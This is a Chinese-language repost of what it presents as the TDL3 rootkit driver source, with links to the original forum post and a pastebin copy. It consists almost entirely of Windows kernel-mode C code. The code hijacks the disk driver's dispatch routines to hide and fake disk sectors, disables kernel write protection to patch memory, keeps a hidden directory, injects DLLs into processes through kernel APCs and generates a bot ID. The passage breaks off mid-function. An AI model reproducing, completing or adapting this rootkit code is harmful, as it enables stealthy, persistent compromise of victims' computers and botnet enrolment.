这是RootkitTDL3源代码,貌似是真的.....感谢fyyre 排版有点悲剧 不要见怪了......
原文地址http://www.opensc.ws/trojan-malware-samples/13873-tdl3-driver-source.html
代码转自 http://pastebin.com/UpvGUw19
#include "inc.h" #pragma comment(linker,"/subsystem:native /entry:DriverEntry") NT_BEGIN EXTERN_C_START DWORD GetDelta(); NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN); VOID GetEPNameOffset(); NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { PTDL_START ptsStart; PIMAGE_NT_HEADERS pinhHeader; GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry; pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart); ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START)); GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset; pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP; pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress; GetEPNameOffset(); *GET_TDL_ADDRESSES->cBotID=0; if(!NT_SUCCESS(Reinitialize(0,FALSE))) { IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize)); } return STATUS_SUCCESS; } VOID GetEPNameOffset() { CHAR cSystem[]={'S','y','s','t','e','m',0}; GET_TDL_ADDRESSES->dwEPNameOffset=0; while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0) { GET_TDL_ADDRESSES->dwEPNameOffset++; } return; } PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey) { DWORD dwData; for(dwData=0;dwData<dwSize;dwData++) { ((PBYTE)pvData)[dwData]^=dwData+bKey; } return pvData; }; NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress) { SCSI_REQUEST_BLOCK srbBuffer; SENSE_DATA sdData; IO_STATUS_BLOCK iosbStatus; KEVENT keEvent; PIRP piIrp; PMDL pmMdl; PIO_STACK_LOCATION pislStack; memset(&srbBuffer,0,sizeof(srbBuffer)); memset(&sdData,0,sizeof(sdData)); srbBuffer.Length=sizeof(srbBuffer); srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI; srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.CdbLength=CDB10GENERIC_LENGTH; srbBuffer.SenseInfoBufferLength=sizeof(sdData); srbBuffer.SenseInfoBuffer=&sdData; srbBuffer.DataTransferLength=dwBufferSize; srbBuffer.DataBuffer=pvBuffer; srbBuffer.TimeOutValue=5000; srbBuffer.QueueSortKey=dwAddress; srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.Cdb[0]=bOpCode; srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24); srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16); srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8); srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff); if(dwAddress!=0) { DWORD dwSectors; dwSectors=dwBufferSize/0x200; srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8); srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff); } KeInitializeEvent(&keEvent,NotificationEvent,FALSE); piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE); if(piIrp!=0) { pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp); srbBuffer.OriginalRequest=piIrp; piIrp->MdlAddress=pmMdl; MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess); piIrp->UserIosb=&iosbStatus; piIrp->UserEvent=&keEvent; piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE; piIrp->Tail.Overlay.Thread=KeGetCurrentThread(); pislStack=IoGetNextIrpStackLocation(piIrp); pislStack->DeviceObject=pdoDevice; pislStack->MajorFunction=IRP_MJ_SCSI; pislStack->Parameters.Scsi.Srb=&srbBuffer; piIrp->CurrentLocation--; pislStack=IoGetNextIrpStackLocation(piIrp); piIrp->Tail.Overlay.CurrentStackLocation=pislStack; pislStack->DeviceObject=pdoDevice; if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING) { KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0); } return iosbStatus.Status; } return STATUS_INSUFFICIENT_RESOURCES; } extern "C" { #include "gz.cpp" #include "md4.cpp" #include "socket.cpp" #include "tdlini.cpp" #include "tdlfs.cpp" } NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext) { NTSTATUS ntsStatus; if(NT_SUCCESS(piIrp->IoStatus.Status)) { PVOID pvBuffer; PIO_STACK_LOCATION pislStack; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority); if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { DWORD dwOffset; if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector) { dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize; } else { dwOffset=0; } memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset); } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize)) { memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize); } } } } if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0) { ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext); } ExFreePool(pvContext); return ntsStatus; } NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp) { PIO_STACK_LOCATION pislStack; PDISK_COMPLETION pdcCompletion=0; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice) &&(pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)) { piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED; piIrp->IoStatus.Information=0; TDLFSDispatch(pdoDevice,piIrp); IoCompleteRequest(piIrp,IO_NO_INCREMENT); return piIrp->IoStatus.Status; } if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk) &&(!((pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))) &&(pislStack->MajorFunction==IRP_MJ_SCSI) &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI)) { BOOL bComplete=FALSE; BOOL bEnd=FALSE; if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize)) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } } } if(bEnd) { pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS; pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS; piIrp->IoStatus.Status=STATUS_SUCCESS; IoCompleteRequest(piIrp,IO_NO_INCREMENT); return STATUS_SUCCESS; } if(bComplete) { pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION)); if(pdcCompletion!=0) { pdcCompletion->picrCompletion=pislStack->CompletionRoutine; pdcCompletion->pvContext=pislStack->Context; pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey; pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; pislStack->Context=pdcCompletion; pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion); } } } return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp); } NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize) { CHAR cBotIDFormat[]={'%','x','%','x',0}; WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0}; UUID uuidBotID; UNICODE_STRING usName; HANDLE hVolume; FILE_FS_VOLUME_INFORMATION ffviInfo; IO_STATUS_BLOCK iosbStatus; OBJECT_ATTRIBUTES oaAttributes; RtlInitUnicodeString(&usName,wcVolumeObject); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ffviInfo.VolumeSerialNumber=0; if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT))) { ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation); ZwClose(hVolume); } if(ExUuidCreate(&uuidBotID)==0) { _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber); return STATUS_SUCCESS; } return STATUS_RETRY; } __declspec(naked) DWORD GetDelta() { __asm { call delta delta: pop eax sub eax,offset delta retn } } __declspec(noinline) PVOID GetNtoskrnlBase() { BYTE bIDT[6]; PIDT_ENTRY pieIDTEntry; PWORD pwAddress; __asm { sidt bIDT; } pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40); pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16)); do { pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE); if(*pwAddress=='ZM') { return (PVOID)pwAddress; } pwAddress--; } while(pwAddress!=0); return 0; } VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*) { ExFreePool(pkaApc); return; } NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert) { HANDLE hProcess; OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)}; CLIENT_ID cidProcess; PVOID pvMemory=0; DWORD dwSize; CHAR cDllReal[MAX_PATH]; CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0}; PCHAR pcDllReal; if(*pcDll!='\\') { dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1; pcDllReal=cDllReal; } else { pcDllReal=pcDll; dwSize=strlen(pcDll)+1; } cidProcess.UniqueProcess=hProcessID; cidProcess.UniqueThread=0; if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess))) { if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE))) { KAPC_STATE kasState; PKAPC pkaApc; KeStackAttachProcess(pepProcess,&kasState); strcpy(pvMemory,pcDllReal); KeUnstackDetachProcess(&kasState); pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); return STATUS_SUCCESS; } } ZwClose(hProcess); } return STATUS_NO_MEMORY; } VOID WIInjector(PVOID pvContext) { CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY; CHAR cSection[]=TDL_CONFIG_INJECTOR; CHAR cDll[MAX_PATH]; CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'d','a','t','e',0}; DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0); DWORD dwCurrent; LARGE_INTEGER liTime; KeQuerySystemTime(&liTime); RtlTimeToSecondsSince1970(&liTime,&dwCurrent); //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0}; //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0); //if(dwCurrent-dwDate>=60*24*60) { // DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1); if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } } KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE); return; } VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*) { WI_INJECT wiiItem; ExFreePool(pkaApc); wiiItem.pktThread=KeGetCurrentThread(); wiiItem.pepProcess=IoGetCurrentProcess(); wiiItem.hProcessID=PsGetCurrentProcessId(); KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE); ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem); ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue); KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0); return; } VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo) { if(FullImageName!=0) { WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0}; UNICODE_STRING usKernel32Mask; RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask); if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0)) { PKAPC pkaApc; if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0) { GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA); } pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); } } } return; } VOID WIKnock(PVOID pvWIKnock) { KEVENT keEvent; ExFreePool(pvWIKnock); /* CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; DWORD dwRand=(DWORD)rand()%100; DbgPrint(cDebug,cKey,dwRand); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); */ KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { LARGE_INTEGER liDelay; if((*GET_TDL_ADDRESSES->cBotID==0) &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID)))) { OBJECT_ATTRIBUTES oaAttributes; WCHAR wcBotID[0x10+sizeof(L'\\')+1]; WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0}; UNICODE_STRING usName; HANDLE hEvent; _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID); RtlInitUnicodeString(&usName,wcBotID); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE); return; } liDelay.QuadPart=(LONGLONG)-10*10000000; //liDelay.QuadPart=(LONGLONG)-1*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } return; } /* void WITimer(PVOID pvWITimer) { CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; KEVENT keEvent; ExFreePool(pvWITimer); KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { DWORD dwRand=(DWORD)rand()%100; LARGE_INTEGER liDelay; DbgPrint(cDebug,cKey,dwRand); //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); liDelay.QuadPart=(LONGLONG)-5*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } } */ PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; DWORD dwSection; pishHeader=IMAGE_FIRST_SECTION(pinhHeader); for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++) { if((dwRva>=pishHeader->VirtualAddress) &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize))) { return pishHeader; } pishHeader++; } return 0; } DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; pishHeader=RvaToSectionHeader(pinhHeader,dwRva); if(pishHeader!=0) { return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress); } return 0; } DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum) { DWORD dwBytes=dwSize; while(dwBytes>0) { if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0) { wChecksum++; } wChecksum+=*(PWORD)pvData; dwBytes-=sizeof(WORD); pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID); } return wChecksum+dwSize; } __declspec(noinline) DWORD HashString(PCHAR pcString) { DWORD dwResult=0; while(*pcString!=0) { dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++)); } return dwResult; } __declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash) { PIMAGE_NT_HEADERS pinhHeader; PIMAGE_EXPORT_DIRECTORY piedExport; PDWORD pdwNames; PDWORD pdwProcedures; PWORD pdwOrdinals; DWORD i; pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase); piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase); pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD); pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD); pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD); for(i=0;i<piedExport->NumberOfNames;i++) { if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash) { return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID); } } return 0; } NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp) { return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp); } NTSTATUS TDLInit(HANDLE hDriver) { BYTE bDeviceName[MAX_PATH]; DWORD dwSeed; DWORD dwCh; DWORD dwSize; GET_TDL_ADDRESSES->dwHiddenSectors=0; dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart; for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++) { GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a'))); } GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0; GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject; while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER) { GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice; } if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize))) { WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0}; PIMAGE_NT_HEADERS pinhHeader; PIMAGE_NT_HEADERS pinhHeaderCache; PIMAGE_SECTION_HEADER pishHeader; PVOID pvMJStub; DWORD dwOldCR0; STARTING_VCN_INPUT_BUFFER svibBuffer={}; RETRIEVAL_POINTERS_BUFFER rpbBuffer; WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0}; UNICODE_STRING usName; HANDLE hPartition; DWORD dwClasterSize; OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; FILE_FS_FULL_SIZE_INFORMATION fffsiInfo; PARTITION_INFORMATION piInfo; DWORD dwFirstSector=0; BOOT_SECTOR bsSector; MARK_HANDLE_INFO mhiInfo; DWORD dwRsrcOffset; PVOID pvRsrcOriginalOffset; DWORD dwRsrcSize; DWORD dwSector; HANDLE hSection; PVOID pvFile=0; PWORK_QUEUE_ITEM pwqiThread; _snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1, wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory); wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot; RtlInitUnicodeString(&usName,wcPartition); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT))) { WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT; mhiInfo.VolumeHandle=hPartition; mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS; mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT; ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0); ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation); ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo)); GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector; dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector; if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0))) { dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector; } ZwClose(hPartition); GET_TDL_ADDRESSES->dwFSLastClaster=1; GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize); GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector; memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors)); pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart); pishHeader=IMAGE_FIRST_SECTION(pinhHeader); pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize); GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch); dwOldCR0=__readcr0(); __writecr0(dwOldCR0&~(1<<16)); memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub); __writecr0(dwOldCR0); memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ)); #ifdef _WIN64 RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub); #else RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub); #endif dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress); pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)); dwRsrcSize=TDL_START_SIZE; while(dwRsrcSize>0) { DWORD dwPartSize; dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize); if(dwPartSize>dwRsrcSize) { dwPartSize=dwRsrcSize; } HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset); 